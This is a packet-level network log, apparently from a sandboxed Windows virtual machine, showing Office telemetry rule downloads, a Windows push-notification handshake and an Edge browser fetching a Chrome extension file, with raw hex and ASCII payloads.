2024-10-30 10:45:31 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49833	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:31 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:31 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c21b0bdf-c01e-008e-186f-287381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104531Z-17fbfdc98bbvvplhck7mbap4bw00000009g0000000004ztz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:31 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49837	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:32 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 79 53 72 34 69 48 56 65 55 32 56 70 78 4b 42 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 32 66 61 34 33 32 62 34 30 62 33 34 61 31 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: LySr4iHVeU2VpxKB.1Context: b2fa432b40b34a1e
2024-10-30 10:45:32 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 10:45:32 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 79 53 72 34 69 48 56 65 55 32 56 70 78 4b 42 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 32 66 61 34 33 32 62 34 30 62 33 34 61 31 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 36 2f 44 45 31 41 61 30 47 44 2f 76 37 30 55 2b 58 54 48 4f 5a 43 34 42 54 66 30 78 57 79 6c 64 42 51 4b 4f 46 6a 62 32 30 34 6b 2b 6d 35 4a 64 67 71 2f 41 66 4e 43 56 62 70 4d 67 76 75 6d 35 72 47 61 4b 68 47 62 36 67 4b 4d 67 6f 72 59 78 2f 43 46 58 55 4f 41 4a 4d 52 61 7a 77 50 31 52 53 53 76 7a 70 70 71 34 50 6f 63 55 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: LySr4iHVeU2VpxKB.2Context: b2fa432b40b34a1e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAc6/DE1Aa0GD/v70U+XTHOZC4BTf0xWyldBQKOFjb204k+m5Jdgq/AfNCVbpMgvum5rGaKhGb6gKMgorYx/CFXUOAJMRazwP1RSSvzppq4PocU
2024-10-30 10:45:32 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 79 53 72 34 69 48 56 65 55 32 56 70 78 4b 42 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 32 66 61 34 33 32 62 34 30 62 33 34 61 31 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: LySr4iHVeU2VpxKB.3Context: b2fa432b40b34a1e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 10:45:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 10:45:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4b 42 58 79 68 4c 31 55 6c 45 79 4b 68 64 32 72 7a 73 70 70 55 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: KBXyhL1UlEyKhd2rzsppUw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49842	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:32 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:32 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:32 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1515cbe5-b01e-0084-6467-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104532Z-17fbfdc98bbl4n669ut4r27e0800000007hg0000000047fc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:32 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49846	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:32 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: f60f2227-501e-0064-5d90-271f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104532Z-17fbfdc98bbwmxz5amc6q625w00000000400000000001szr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49845	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:32 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:32 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104532Z-r1755647c66vkwr5neys93e0h400000007d0000000004fq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49847	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:32 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104532Z-r1755647c66p58nm9wqx75pnms000000072g000000003tpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49848	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:32 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:32 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104532Z-r1755647c668lcmr2va34xxa5s00000006gg000000005es9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49844	142.250.186.33	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:32 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:33 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2BVtVOjNBVT-MoVVT5yJ1jw_NnQluRmptGXyYAmyP6pTinJ2a9vJcJyx51ucKVNNuADGcnbX_ClA X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Tue, 29 Oct 2024 20:33:29 GMT Expires: Wed, 29 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 51123 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 10:45:33 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-30 10:45:33 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-30 10:45:33 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
